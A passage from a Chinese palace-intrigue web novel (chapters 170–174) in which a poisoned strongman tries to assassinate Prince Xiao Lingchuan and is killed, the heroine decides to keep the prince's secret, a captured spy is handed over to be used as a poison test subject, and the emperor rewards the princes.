萧凌川眼中的风暴翻涌了许久,才缓缓平息。 他似乎也意识到自己反应过激,声线缓和了些许:“此事,我暂且不想再提。你可以换一个问题。” 姜姝宁在心里冷笑。 一旦涉及到最关键的问题,他便避而不谈。 她垂眸,掩盖住眼底所有的情绪。 思忖片刻,她才再次开口,声音已经平稳了许多:“殿下可知那南月细作和……我妹妹姜瑶真的关系?” 她故意顿了一下,仔细观察他的神色。 “知道。”萧凌川的神色没有半点波澜,仿佛在说一件再寻常不过的事,“她是姜家姨娘,也是你妹妹姜瑶真的生母。多年前她假死,只为掩饰身份。” 姜姝宁只觉得脊背窜上一股寒气,瞬间凉透了心扉。 他知道。 他竟然是知道的。 纵然是心上人的生母,一旦知晓了他的秘密,成为他问鼎之路的威胁,他依旧能毫不犹豫,痛下杀手。 他的心性,竟冷硬至此! 没想到她前世倾尽所有爱上的,竟是这样一个为达目的、不择手段的冷血屠夫! 她敛了敛眸,将眼底翻涌的惊骇与憎恶尽数压下,低声道:“臣女没有什么问题了,谢殿下为臣女解答。” 若不是这番解答,她恐怕还对他抱着一丝不切实际的幻想。 如今,这最后一丝虚妄,也彻底被他亲手碾碎。 人在一无所知时,果然会犯蠢,就如前世的她一般。 “既然没问题,可以喝药了吗?”萧凌川似乎对她翻涌的情绪毫无察觉,转身又从桌上重新倒了一碗药。 他端着药坐在她床边,骨节分明的手指舀起一勺黑褐色的汤药,递到她嘴边。 那动作极其自然,亲昵得仿佛他们是世间最恩爱的情人。 姜姝宁只觉得胃里一阵翻搅,恶心得想吐。 “殿下,臣女自己来吧。”她侧过脸,避开了那只药匙。 “你大病未愈,怕是连碗都端不好,还是我来喂吧!”他语气温柔却带着不容置喙的强势。 那只伸在半空的手,也没有丝毫要收回的意思。 他很坚持。 空气仿佛凝固了。 姜姝宁知道,她若再拒绝,便是拂了他的面子,谁知道这个喜怒无常的男人又会做出什么事来。 她拗不过他,只能垂下眼眸,张开嘴,喝下他递过来的那勺汤药。 苦涩的药汁滑入喉咙,一直苦到了心底。 就在这时,帐帘猛地被人掀开。 “如今已是深夜,殿下还在营帐里,孤男寡女共处一室,对姝宁的清誉不好,还请殿下……” 夏嫣声音急切,显然是忍了许久。 她不顾凌芜在身后的阻拦,径直闯了进来,劈头盖脸的话刚说到一半,就看到了眼前这让她目瞪口呆的一幕。 堂堂四皇子殿下,竟亲自端着药碗,坐在床边喂姜姝宁喝药。 夏嫣把后半句逐客令硬生生地咽了回去,嗫嚅了半天,才从牙缝里挤出一句:“打……打扰了……” 说完,她便转身飞快地逃了出去。 姜姝宁看着夏嫣落荒而逃的背影,知道她一定是误会了。 可她实在没有力气去解释,方才与萧凌川的一番周旋,已经耗尽了她所有的精气神。 一碗药见底,她像是被抽走了所有力气,软软地躺了下去,连眼皮都懒得再抬一下。 萧凌川放下药碗,动作轻柔地为她掖好被角,确认她熟睡,他这才起身,无声无息地离开了营帐。 帐外,萧凌川径直走到凌芜面前,半点不忌讳旁人的目光,嘱咐道:“好生照顾你家主子,有什么事,务必第一时间通知我。” “是,殿下!”凌芜恭敬地垂首应道。 萧凌川深深地看了一眼紧闭的帐帘,这才大步离开。 直到他的背影再也看不见,夏嫣才一脸见了鬼的表情,凑到凌芜身边,压低了声音问道:“凌芜,姝宁和四皇子殿下……他们两个关系什么时候这么亲近的?要不是姝宁亲口告诉我她此生不嫁,我都要怀疑他们是不是已经私定终身了!” 那喂药的场景,哪里是皇子和臣女能做得出来的? 简直像极了寻常夫妻间的温存体贴! 凌芜笑而不语。 在她看来,四皇子殿下对大小姐那么好,那么上心,大小姐就算是块冰,也总有一天会被殿下的深情融化的。 他们两人,本就是天造地设的一对。 第二日天光大亮,萧凌川命人将那几个被抓获的纵火犯用囚车押着,在城中游街示众。 那几人头发凌乱,满面污黑,身上穿着破烂的囚服,手脚都被沉重的镣铐锁着,狼狈不堪。 “呸!你们这群丧尽天良的畜生!”一个老妇人冲上前,抓起地上一把混着石子的烂泥,狠狠砸在其中一个囚犯的脸上,“我儿子才十五岁!他有什么错!你们为什么要烧死他!” 囚犯被砸得头破血流,却连躲闪的勇气都没有,只是一个劲地哭嚎:“是南月人!是南月派来的细作逼我们这么干的!我们也是被逼的啊!” 这番辩解非但没能博得同情,反而激起了更大的民愤。 “南月狗贼!不得好死!” “杀了他们!杀了这群帮凶!” 烂菜叶、臭鸡蛋,甚至是石块,雨点般地朝着囚车砸去。 那些前几日还在为亲人离世而哀恸的百姓,此刻像是找到了宣泄的出口,将所有的悲伤和仇恨都化作了最恶毒的咒骂和最直接的暴力。 有几个年轻力壮的汉子更是直接冲破了士兵的阻拦,对着囚车里的几人拳打脚踢,若非士兵拼死拦着,恐怕这几人当场就要被活活打死。 混乱之中,一辆华贵的马车缓缓驶来,停在了人群最前方。 萧凌川一身玄色锦袍,面容冷峻地站在车辕上,目光如鹰隼般扫过激愤的人群。 “诸位南朔城乡亲们,我知道你们的痛苦,也理解你们的愤怒。”他的声音不大,却带着一种奇异的穿透力,直达每个人的耳中。 “这几人虽是帮凶,罪无可恕,但真正的元凶,是那潜藏在暗处的南月细作!我在此向南朔城所有的百姓承诺,定会亲手抓到那个逃走的南月细作,用她的血,来祭奠所有无辜惨死的亡魂!” “殿下英明!” “誓死追随殿下,与南月国抗争到底!” 百姓们的情绪被彻底点燃,他们高举着手臂,山呼海啸般地呐喊着,看向萧凌川的眼神里充满了狂热的崇拜与感激。 而就在这狂热的人群之中,一个体型魁梧、皮肤黝黑的壮汉沉默地站在角落里,一双锐利的眼睛穿过攒动的人头,死死地锁定在马车上那个备受拥戴的身影上。 那张俊美却阴鸷的脸,那副高高在上、掌控一切的姿态,都与他拿到的画像分毫不差。 原来,这就是大邺的四皇子,萧凌川。 他要杀的人。 第171章 暂时保守秘密 第一百七十一章 暂时保守秘密 姜姝宁一觉醒来,已是午后。 窗外飘着细碎的雪花,屋内的炭火烧得正旺,将一室都熏得暖融融的。 只是这暖意,却始终驱不散她心底那股子挥之不去的寒气。 夏嫣端着一碗汤药坐到床边:“姝宁,你可算醒了。快,趁热把药喝了。” 姜姝宁将那苦涩的药汁一口口咽下。 夏嫣见她精神尚可,便忍不住道:“姝宁,今天四皇子殿下把那几个纵火的贼人拉到街上游行!全城的人都去看,将那些畜生骂得狗血淋头!” “殿下还当众宣布,那些人都是南月的细作指使的!这下可好,南朔城里的人对南月国更是恨得牙痒痒!” “姝宁,你知道吗?因为咱们南朔城跟南月国就隔着一座山,从前南朔城的男子,见南月国的女子长得漂亮,就偷偷摸摸地娶回来。可那些南月女子其实都是南月国故意派来的细作!我们镇守边疆的士兵,有好几次被暗算,就是她们搞的鬼!” “四皇子殿下把南月细作的恶毒行径全都抖落了出来。以后看谁还敢对南月女人起什么不该有的心思!一想到那些被活活烧死的无辜病患,但凡有点良心,都不会再犯糊涂事了吧?” 她顿了顿,语气里满是钦佩,“说真的,姝宁,虽然人人都说四皇子身上流着一半南月人的血,可你看他做的这些事,哪一件不是为了我们大邺着想?这样的皇子,我是打心底里佩服。” 姜姝宁喝着药,一言不发,默默整理着思绪。 她猜测前世他曾借南月之力,在夺嫡之路上取胜,却也遭到南月的算计。 所以今生,他便毫不犹豫地调转枪头,将南月塑造成整个大邺不共戴天的死敌。 这一手釜底抽薪,何其狠辣,又何其高明。 既然无法再依靠南月,那么,在大邺境内不择手段地为自己铺路,收拢民心,博取朝臣的支持……这一切,似乎也便无可厚非了。 只是…… 姜姝宁的指尖微微发冷。 一个身上没有半点大邺皇室血脉,只流淌着南月人血液的男人,若有朝一日,他真的坐上了那个至高无上的位置,真的能善待这片土地上的百姓吗? 这个念头如同一根淬了毒的冰针,扎得她心口一阵尖锐的刺痛。 “姝宁?姝宁,你怎么了?怎么一直发呆?”夏嫣担忧的声音在耳边响起,将她的思绪拉了回来。 姜姝宁将空碗递给夏嫣,掀开被子想要下床:“夏嫣,我在床上躺了一整天,有些难受。你扶我出去走走吧!” “外面下着小雪呢,你这伤寒才刚好,可千万不能再着凉了!”夏嫣道,“你拿个手炉,我去给你拿件氅衣。” “好。”姜姝宁应着,趁夏嫣转身去取衣物的间隙,她迅速从枕头底下摸出了那块冰凉温润的玉牌。 这是知道萧凌川身世秘密的姜家姨娘留给她的。 她凝视着玉牌上繁复的南月图腾,眼神变幻不定。 最终,她找出一块锦帕,将玉牌层层叠叠地包裹起来,然后塞进了箱笼最深处的夹层里。 她决定,暂时为萧凌川保守这个秘密。 一来,她势单力薄,若将此秘密公之于众,根本无力承受萧凌川的雷霆报复。 二来,兄长的大仇未报,她还需要借助萧凌川的权势。 在他还有利用价值之前,她不能自断臂膀。 况且,到目前为止,他做的每一件事,似乎都对大邺有利。 那就再等等看。 姜姝宁在心底对自己说。 若有朝一日,她发现萧凌川有任何危害大邺的举动,她便会毫不犹豫地拿出这块玉牌,将他身世秘密告知天下。 此时,军营的帅帐内,萧凌川正对着沙盘推演战局,凌风侍立一旁。 帐帘被人猛地掀开,一个亲兵脚步踉跄地冲了进来,脸上满是惊魂未定。 “殿下,不好了!”亲兵气喘吁吁地禀告,“营外……营外来了一个壮汉,非说要投军,还要……还要直接见您!” 凌风沉声呵斥道:“没规矩的东西!招兵自有校尉负责,什么阿猫阿狗都想直接面见殿下?把他轰出去!” 那亲兵的脸色白了几分,哆哆嗦嗦地举起了自己手中的长枪,递到凌风面前:“凌风大人,您看……那人有神力,小的的长枪,被他……被他徒手就给掰成了这样!” 凌风定睛一看,瞳孔骤然一缩。 那精铁打造的长枪枪杆,此刻竟呈现出一个诡异的弧度,仿佛不是坚硬的铁器,而是一根柔 软的麻花。 他倒吸一口凉气,这是何等恐怖的蛮力! 萧凌川缓缓抬起头,那双深不见底的墨色眸子里不起一丝波澜,只淡淡吐出几个字:“让他进来。” 很快,一个身形魁梧如铁塔的男人被带了进来。 他赤着上身,古铜色的皮肤下,肌肉虬结,像一块块坚硬的岩石。 他每走一步,都让脚下的地面微微震颤,一股凶悍逼人的煞气扑面而来。 萧凌川的目光落在那人脸上,神色浅淡。 是他。 前世跟在萧修湛身边,那个忠心耿耿、力大无穷的阿蒙。 只是这一世,他似乎叫浩力。 “是你?”萧凌川的声音里带着一丝不易察觉的冷意,“我记得,你不是早就归顺了二皇子么?” 浩力那张粗犷的脸上闪过一抹惊诧,显然没料到这位四皇子,竟对自己这个无名小卒的来历了如指掌。 但他很快便镇定下来,嘴角咧开一个阴森森的笑:“殿下说的没错。不过二皇子已经将在下转送他人,如今,我不是为二殿下做事了。” 萧凌川挑眉:“哦?那你来南朔做什么?” 浩力眼中凶光毕露,整个人如同出膛的炮弹般猛地暴起:“在下来南朔,是来要你的命的!” 硕大的拳头带着疾风,直直捣向萧凌川的面门! 这一拳若是砸实了,恐怕连头盖骨都能被轰碎。 然而,萧凌川只是身形微侧,那雷霆万钧的一拳便擦着他的衣袍险险掠过。 他躲得举重若轻,脸上甚至没有半点惊慌。 “有刺客!保护殿下!”凌风怒吼一声,长剑出鞘,化作一道寒光劈向浩力的臂膀。 “铛!” 一声金石交击的脆响,凌风只觉得虎口剧震,长剑竟被弹开。 浩力的手臂上,肌肉猛地鼓起,坚硬如铁,凌风的全力一剑,竟只留下了一道浅浅的白痕。 四周的士兵们见状,也纷纷挺着长枪蜂拥而上,试图将浩力围困。 可那壮汉只是咆哮一声,双臂一抡,便轻易地抓住了几杆长枪,猛地一甩,那几名士兵便像稻草人一样被甩飞了出去,重重地摔在地上,哀嚎不止。 整个帅帐内顿时乱作一团。 浩力根本不理会试图阻拦他的人,他猩红的眼睛死死锁定着萧凌川,如同盯上猎物的野兽,再度发起了凶狠的攻击。 “凌风,退下!”萧凌川一边游刃有余地闪避着浩力狂 风 暴 雨般的攻击,一边冷声对一旁焦急万分的凌风道,“寻常刀剑伤不了他!他的命门在后颈三寸之处,攻击别的地方都是白费力气!” 此言一出,正处于狂暴状态的浩力身形猛地一滞,眼中闪过浓浓的不可置信。 他怎么会知道自己的弱点? 不行,得速战速决! 浩力反手从背后掣出一柄寒光闪闪的巨斧,随即抡起巨斧,朝着萧凌川当头砸下,那力道仿佛要将整个帅帐都劈成两半。 “看来,有人是铁了心要置我于死地。”萧凌川脚尖一点,身形如鬼魅般飘开,避过那致命一击,冰冷的声音在混乱中清晰可闻,“说吧,是谁派你来的?他许了你什么好处,我给你双倍!” “你给不了的!”浩力神色狰狞地嘶吼。 他体内的毒已经开始发作,五脏六腑如同被无数只蚂蚁啃噬,再不杀了萧凌川回去复命,拿到解药,他就会被活活折磨致死。 那种痛苦,比死亡更可怕。 巨斧在他手中虎虎生风,所到之处,桌椅案几尽数化为齑粉,木屑纷飞,无人敢靠近他。 凌风已经取来了弓箭,可浩力身形壮硕,动作又快如疯虎,总是在腾挪闪转,他根本无法稳定地瞄准其后颈要害,拉满的弓弦迟迟不敢松开。 在旁人眼中,萧凌川仿佛惊涛骇浪中的一叶扁舟,随时都有被吞没的危险,场面惊心动魄到了极点。 此时,姜姝宁正由夏嫣扶着,在营地一处僻静的角落散步。 方才喝下的药让她身上暖和了许多,只是心情依旧沉郁。 忽然,一阵喧哗和兵器碰撞的巨响从不远处的帅帐方向传来,还夹杂着士兵们的惊呼和怒吼。 “出什么事了?”夏嫣紧张地望过去。 姜姝宁也下意识地循声看去,只一眼,她的血色瞬间从脸上褪尽。 她看到了那个熟悉得不能再熟悉的身影——浩力,正挥舞着一把巨大的斧头,对萧凌川穷追不舍,那凶神恶煞的模样,分明是要取他的性命! 她来不及细想,一声惊呼便脱口而出:“浩力!你在做什么?!” 她的声音清亮而急切,穿透了嘈杂的厮杀声,清晰地传入了场中。 听到这个熟悉的声音,正陷入癫狂的浩力动作猛地一僵,竟下意识地循声回头望去。 一直苦寻机会的凌风眼神一凛,扣着弓弦的手指瞬间松开。 “嗖——!” 离弦的箭矢带着破空的锐啸,如同一道黑色的闪电,精准无误地划破空气,正中浩力的后颈! 第172章 死得比前世不体面 第一百七十二章 死得比前世不体面 浩力整个人栽倒在地,就如同一座陡然崩塌的大山,震得地面都微微发颤。 姜姝宁和夏嫣跑到他身边时,他已经奄奄一息了。 那支箭矢精准地贯穿了他的脖颈,乌黑的箭头从另一侧狰狞地探出,鲜血汩汩地涌出,瞬间染红了他身下的土地。 姜姝宁彻底懵了,她伸出手,却完全不知道要如何着手救他。 那伤口太致命了,根本……无力回天。 她声音颤抖得不成样子:“浩力,你怎么会……” 浩力脸上露出一丝解脱的笑意。 死了也好,总比被体内的毒药继续折磨要好。 他感觉不到脖子上的疼痛,只觉得五脏六腑被啃噬的痛苦正在随着生命的流逝而渐渐消退。 “大小姐,夏姑娘……”他艰难地开口,每吐出一个字,嘴角都会溢出更多的血沫,“当初……你们就不应该……把我给二皇子的……” 话音未落,他眼中最后的光彩彻底熄灭,沉重的头颅无力地垂向一侧。 姜姝宁如坠冰窟,浑身止不住地剧烈颤抖。 他这话……究竟何意? 她费尽心机,抢在萧修湛之前将他送至二皇子身边,原以为能改写他的命运,可如今……竟将他推向了死路?! “这……到底是怎么回事?”姜姝宁抬起泪眼模糊的脸,茫然又惊恐地望向缓步走来的萧凌川。 “有人让他取我的性命。”夕阳的余晖洒在他身上,将他冷峻的面容映得宛如一尊冰雕,格外冷硬。 就在这时,一阵急促的脚步声传来。 二皇子萧锦瑜听说萧凌川遭人追杀,满脸焦急地赶了过来。 他一眼就看到了倒在血泊中,已经没了气息的浩力,顿时大惊失色。 “浩力?他怎么会在这里?” 姜姝宁目光如刀,紧紧锁定萧锦瑜:“殿下!夏嫣将浩力送到您身边后,您究竟如何处置了他?” “我……”萧锦瑜支吾着,语气满是慌乱,“三弟前些日子来找我,见浩力力气过人,便说是个好苗子……就、就带走了。可他怎会突然跑来刺杀四弟?!” 他满脸困惑与无辜,至今都未从震惊中回神。 萧凌川唇角勾起一抹冷笑,语气意味深长:“哦?二哥竟将他送给了三哥?那便不奇怪了。” 姜姝宁难以置信地看向萧锦瑜,又低头望向地上浩力那具冰冷的尸体。 兜兜转转,浩力竟还是落回了萧修湛手中。 这一世,他没有抵御外敌,战死沙场,反而沦为刺杀皇子的卑劣刺客,命丧于此。 她费尽心机为他改名换姓,另择主子,原以为能改写他的命运,可到头来,竟无法挽回他早逝的结局。 反而……让他死得更不体面,更冤屈。 一阵难以言喻的无力感和罪恶感瞬间将她吞噬。 萧凌川察觉到姜姝宁的异样,他转头对一旁的夏嫣道:“姜姑娘大病初愈,受不得惊吓,你先扶她回营帐好好休息吧!我与二哥有话要谈。” 姜姝宁却像是没听到他的吩咐,不依不饶地追问:“二皇子殿下,您为何擅自将浩力送给三皇子?” 夏嫣也满脸不悦:“殿下!臣女费尽心思将浩力送到您府上,原是希望您能好好栽培他,假以时日,让他成为我大邺的栋梁之才。没想到,您竟连一声招呼都不打,就如此轻率地将他转手他人!殿下未免也太不将臣女放在眼里了!” 大概是第一次被夏嫣用如此严厉的语气当面指责,萧锦瑜的脸一下涨得通红。 他手足无措地解释道:“不、不是这样的!我也不想将浩力送给三弟,只是……只是我输了一场赌约,而且他还帮了我一个大忙,我实在推脱不掉……” 萧凌川挑了挑眉:“哦?三哥帮了二哥什么大忙?二哥能否透露一二?” 萧锦瑜挠了挠头,略显尴尬地低声道:“也没什么大事……就是三弟说,他能帮我与张尚书家的张嫣姑娘牵线搭桥。我当时不信,还跟他打了赌……谁知,他竟然真促成了这门亲事。” 听到这话,萧凌川和姜姝宁明显都松了一口气。 还好,只是打赌,二皇子并没有和萧修湛结盟。 夏嫣却是满脸的惊讶,那惊讶中还隐隐透着几分毫不掩饰的鄙夷:“殿下跟张姑娘的亲事,是同三皇子殿下打赌得来的?这……这简直儿戏!终身大事,怎能如此草率?殿下可曾问过张姑娘的意愿?她当真心甘情愿嫁给您吗?” 她的话像一根根细小的针,扎得萧锦瑜心头发慌。 “自然!”他急急地提高声音,仿佛是为了说服夏嫣,也像是在说服自己,“张尚书是亲自上门,和我谈的结亲之事!这岂能有假?” “但愿如此吧!”夏嫣冷冷地抛下一句,转身扶住姜姝宁,朝着两位皇子微微屈膝,声音冷淡疏离,“二皇子、四皇子,臣女告退!” 说着,便搀扶着失魂落魄的姜姝宁,头也不回地离开。 看着她决绝冷淡的背影,萧锦瑜的心像是被什么东西堵住了,难受得紧。 他忍不住看向身旁的萧凌川:“四弟,你有没有觉得,方才我提起和张姑娘的亲事,夏姑娘……她眼神里有几分不屑?” 萧凌川不置可否地拍了拍他的肩膀,眼神幽深难辨:“二哥,你现在最该做的,是好好查一查,这位张姑娘,当初究竟为何要同意与你定下这门亲事。” 以他对萧修湛的了解,这桩看似美满的婚事背后,定然藏着不为人知的算计! 萧锦瑜没好气道:“知道了,我会去查的!不过,这浩力若当真是三弟派来刺杀你的,我定会禀告父皇,让他彻查此事,给你一个交待!” 萧凌川脸上浮起意味不明的冷笑:“如今死无对证,如何查明?更何况,此人是从你府上到了三哥手中的,若到时候他倒打一耙,反咬是你指使浩力刺杀于我,二哥,你又当如何自辩?” 一连串的反问,如同数九寒冬里的一盆冰水,兜头浇下,让萧锦瑜瞬间冷汗涔涔:“四弟,是我思虑不周。那依你之见,如今……当如何是好?” “还能如何?自然是打起十二万分的精神,莫要再被三哥轻易算计了去。至于二哥你和张姑娘的婚事……”他意有所指地提醒道,“还是仔细查个清楚明白为好!” “知道了!”萧锦瑜闷闷地应了一声,心里却烦躁不已。 好不容易与心上人定下婚约,萧凌川却一而再、再而三地暗示这桩婚事有问题。 再加上方才夏嫣望向自己的眼神,那疏离的意味,让他心中酸涩无比…… 他虽神经大条,但也明显感觉到来到南朔后,夏嫣对他的态度与从前大不相同。 她似乎……没那么在意他了。 第173章 刻薄的安慰方式 第一百七十三章 刻薄的安慰方式 萧凌川命孙神医仔细验看浩力的尸身。 不过半个时辰,孙神医便面色凝重地走了出来。 “四殿下,这位壮士身中剧毒,名为‘钻心噬骨’。此毒早已侵入他的五脏六腑,就算今日不死,也已是强弩之末,命不久矣。 这种毒,常为一些见不得光的角斗场或死士营所用,目的就是为了控制人。一旦毒发,便如万蚁噬心,痛不欲生,寻常人根本熬不过去。” “好一个萧修湛。”萧凌川冷笑一声,声音里淬着冰,“看来,他从二哥手中得了浩力,便直接将人扔进了角斗场,将一个活生生的人,炼成一柄杀人利刃。如此手段,歹毒得令人发指!” 这骇人听闻的检验结果,很快也传到了姜姝宁的耳中。 彼时她刚从短暂的浅眠中惊醒,正心神不宁。 夏嫣亦是满脸震惊与惋惜:“难怪!我记得初见浩力时,他虽饭量大了些,却是个再憨厚老实不过的人。可今日再见,他眼中竟只剩下癫狂的杀气……原来,竟是被三皇子送去了角斗场那种人间炼狱!浩力真可怜。” 姜姝宁回想起浩力临死前的那句话:“当初,你们不应该把我给二皇子的……” 顿时心如刀割。 早知道会是这样的结局,当初买下他后,就该直接送他离开京城,去做一个靠力气吃饭的寻常百姓,也好过卷入这滩皇室的浑水,落得如此凄惨的下场。 是她太自以为是,以为重生一世,能改变所有人的命运。 到头来,却连一个浩力都救不了。 一种前所未有的无力感和挫败感,如潮水般将她淹没。 “是我害了他……” “胡说!怎么能是你害了他!”夏嫣听了她的话,又气又心疼,正色道:“姝宁,你清醒一点!害死他的,分明是萧修湛那个阴险小人!是他用‘钻心噬骨’那等歹毒之物控制浩力,逼他行刺!还有萧锦瑜那个蠢货,我好心送他一个忠心护卫,他竟拿来当赌注随手送人!这笔账,怎么算也算不到你头上!” 姜姝宁苦笑,夏嫣没经历过重生,自然不懂。 前世,浩力战死沙场,虽死得惨烈,却也是为国捐躯的英雄。 而这一世,他死于刺杀,死于同室操戈的阴谋,成了一个不光彩的刺客,一个可悲的棋子。 是她,让他死得如此不体面。 叫她如何不自责? 就在这时,帐帘被人从外面掀开,一道颀长的身影走了进来,带着一身尚未散尽的寒气。 是萧凌川。 他一来,帐内的空气仿佛都凝滞了几分。 姜姝宁心烦意乱,将脸别向一边,声音里满是抗拒与疏离:“殿下怎么来了?臣女身体不适,需要静养,请殿下回吧!” 萧凌川对她明显的逐客令置若罔闻。 他径直走到床边,居高临下地看着她,声音清冷:“你在自责?” 姜姝宁像是只被踩到尾巴的猫,恼怒道:“与殿下无关!” 夏嫣的心都提到了嗓子眼:姝宁,你用这种语气和四皇子殿下说话,真的没有问题吗? “你是不是后悔,若当初把他留在你身边,或是送去别处,就能救他?姝宁,你未免太高看自己,也太小看我那位三哥了。” 他顿了顿,对上她恼怒的目光,继续说道,“只要他想,他有千百种方法能把浩力弄到手。浩力这样勇猛无匹的武夫,落在萧修湛眼里,就是一把最好用的刀。他看上的刀,就算藏在刀鞘里,他也会想方设法拔 出 来。” 他的话很残忍,却也一针见血地指出了事实。 姜姝宁怔怔地看着他,心头那块名为“自责”的巨石,似乎被他这番冷酷的话语凿开了一道裂缝。 是啊,以萧修湛的手段,就算浩力没有被送到二皇子身边,难道就能安然无恙吗?不会。 像浩力这样身负天生神力的奇才,就像是黑夜中的明珠,光芒是藏不住的。 只要他还在大邺,迟早有一天会被萧修湛发现。 “他的死,与你无关。”萧凌川下了结论,语气不容置喙,“要怪,就怪他命不好,被萧修湛那样的豺狼盯上了。也怪他自己,不够聪明,轻易就中了圈套。他本来可以直接来找我,或许我能让孙神医研制出解药,助他摆脱角斗场或萧修湛的掌控。可偏偏,他寄希望在萧修湛身上。” 这番话,听起来没有半分同情,甚至有些冷血,却奇异地让姜姝宁混乱的心绪平静了下来。 她知道,他说的是对的。 在这个人命如草芥的时代,在皇权斗争的漩涡里,个人的力量实在太渺小了。 浩力的悲剧,从他被萧修湛看上的那一刻起,就已经注定。 夏嫣在一旁听得目瞪口呆,她实在想不通,这世上怎么会有人用这么刻薄的方式来安慰人? 可偏偏,姜姝宁的脸色似乎真的好了一些。 萧凌川见她不再像方才那样失魂落魄,便转身对帐外的凌风吩咐道:“去取个火盆来,再加床被子。” 他的目光重新落回姜姝宁身上,声音依旧听不出温度,“养好身子,我们即日启程回京。” 他忽然俯身,高大的身影瞬间将她笼罩,以一种极其暧昧的姿势在她耳边低声道: “姜姝宁,别被这点小事打垮。回京之后,还有一场更硬的仗等着你我……别让我失望。” 说完,他便起身大步走出营帐。 夏嫣在一旁看得面红耳赤,后悔自己没有在萧凌川进来时就立马识趣离开。 姜姝宁却神色浅淡:“夏嫣,劳烦你,去帮我向孙神医讨些药效最烈的汤药来。”她想快点好起来。 萧凌川说的对,前路艰险,恶战在即,她没有时间沉溺于悲伤。 —— “哐当”一声脆响,一只价值连城的前朝青瓷瓶在萧修湛脚下化为齑粉。 密报的内容,仿佛一记响亮的耳光,狠狠抽在他脸上。 南朔城猫毒已解,萧凌川不仅没死,反而立下大功,此刻正率队风光返京。 “废物!都是废物!” 萧修湛面目狰狞,一脚踹翻了身前的紫檀木案,案上的笔墨纸砚稀里哗啦地滚落一地。 他胸中滔天的怒火只能用这种方式来宣泄。 “萧凌川!”他咬牙切齿,面容因极致的愤怒而扭曲,“你还真是命硬!” 站在殿内角落的姜瑶真,被这突如其来的暴怒吓得浑身一颤,大气也不敢出。 她的心,也随着那封密报的内容,一寸寸沉入了谷底。 姨娘已经失联近一个月了。 临行前,姨娘信誓旦旦地告诉她,南朔城已是人间炼狱,疫病横行,萧凌川此去,绝无生还的可能。 可如今,萧凌川不仅活着,还带着泼天的功劳回来了。 而她的姨娘,却音讯全无。 一个可怕的念头,不受控制地从心底冒出,让姜瑶真瞬间手脚冰凉。 难道……姨娘她,已经遇害了? 京城,相府。 一辆风尘仆仆的马车在侧门停稳,姜天泽一袭青衫,从车上翩然跃下。 “三少爷回来了!” 马夫老杨赶忙迎上来,一面行礼,一面搭手帮忙从车上搬东西。 当两个健仆合力抬下一个用厚重黑布包裹得严严实实的长条形重物时,老杨不由好奇地打量着。 “三少爷,这是什么?瞧着分量可不轻!” 姜天泽走上前,拍了拍缠着黑布的包裹,笑得人畜无害:“路上偶得的一块良木,想着母亲平日里喜欢侍弄花草,正好给她打一张别致的木榻,歇脚时用。” “三少爷真是孝心一片!”老杨立刻满脸堆笑地奉承道,“在外游学,心里还时时惦记着姜三夫人,姜三夫人知道了,定要欢喜坏了!” 姜天泽但笑不语,眼底却掠过一丝难以言喻的阴鸷。 …… 西院,一间平日里鲜少有人踏足的后厨。 那块“良木”被安置在空旷的后厨中央。 姜天泽领着母亲姜三夫人来到后厨,指着那黑布包裹的物件,笑着说道:“母亲,您不是总说,缺一个炼毒人吗?儿子这次出门,特地为您寻来了一个。” 说着,他缓步上前,伸手猛地将那层厚重的黑布扯了下来。 布料之下,根本不是什么木材,而是一个被五花大绑、口中塞着布团的活人! 那人正是花莲,她脸色煞白,眼睛里充斥着无尽的惊骇与绝望,正死死地盯着姜三夫人。 姜三夫人一愣:“花……” “没错,这就是给大姐姐下‘牡丹花下’的坏人!”姜天泽的唇角勾起一抹近乎残忍的弧度,语气却轻柔得像是在谈论天气,“四皇子殿下想杀她,我觉得太便宜她了,不如让她当母亲的炼毒人,让她尝尝什么叫生不如死!” 第174章 可恨之人必有可怜之处 第一百七十四章 可恨之人必有可怜之处 姜三夫人在花莲的眼中看到了祈求。 那双曾经淬着恶毒与算计的眸子,此刻只剩下摇尾乞怜的卑微。 她像一条案板上即将被宰割的鱼,连挣扎的力气都被抽干,只能绝望地张合着嘴,却发不出半点声音。 姜三夫人幽幽叹了口气,真是可恨之人必有可怜之处啊! “没办法,”她的声音温婉,说出的话却字字诛心,“要怪就怪你当初对天泽心爱的女子下手。你当初还不如直接给四皇子下毒呢,说不定死得还痛快些。落到今日这般田地,也是你咎由自取!” 她顿了顿,又像安抚似的补偿道,“不过,落到我手中,就是痛苦些罢了,起码还是活着的。” 花莲眼中流露出彻底的绝望。 活在姜家这对魔鬼母子手里,那不就意味着,她的余生将在永无止境的折磨中度过,求生不得,求死不能? 花莲的身体剧烈地颤抖起来,喉咙里发出“呜呜”的悲鸣。 她的女儿瑶真,什么时候才能发现,她落到了这对心狠手辣的母子手中? 她还能等到那一天吗? …… 皇宫,金銮殿。 此次出征,不仅成功击退了南月的侵扰,粉碎了他们试图以南月猫毒瓦解大邺南部防线南朔城的阴谋,而且救治了当地饱受毒物摧残的百姓。 此举大大彰显了大邺皇室的铁腕和仁德,深得民心。 二皇子萧锦瑜与四皇子萧凌川班师回朝后,皇帝龙颜大悦,特命论功行赏,以彰其功。 黄金、土地、金银珠宝如流水般赏赐下去。 萧凌川获封景王,萧锦瑜则被册为肃王,二人皆获京城中恢弘府邸一座。 皇帝在满朝文武面前,毫不吝啬地认可了他们的能力。 “此次南朔城之危,朕的两位皇子临危不惧,力挽狂狂澜,实乃我大邺之幸,社稷之福!” 二皇子萧锦瑜向前一步,主动在朝堂上,当着众臣的面,对着身侧的萧凌川深深一揖:“父皇谬赞。此次若不是四弟领兵及时解围,儿臣如今可能早就命丧南朔,或者变成不人不鬼的病患。锦瑜在此,谢过四弟救命之恩!” 萧凌川立即伸手扶住他,神色平静无波:“二哥言重了,你我乃是自家兄弟,何须言谢!” 龙椅上的皇帝见状,抚掌哈哈大笑:“见你们兄弟同心,朕甚是欣慰啊!” 站在百官之首的姜丞相,适时出列,躬身道:“陛下,四皇子殿下身上虽有一半的南月血脉,但此次出征,心之所向,行之所为,皆是为了我大邺子民百姓,此等赤胆忠心,实属难得!” 皇帝点了点头,看向萧凌川:“朕还听说,有南月细作在南朔城兴风作浪,怂恿当地的地痞流氓,放火烧了安置病患的营地,导致病患们死伤严重,可有此事?” “确有此事。”萧锦瑜抢着道,“而且那南月细作心思极为歹毒,竟让那些纵火犯四处散播谣言,声称烧死病患是四弟的主张!当时南朔城人心惶惶,百姓怨声四起,若非四弟处置得当,差点就毁了皇室在南朔城好不容易建立起来的名望!” 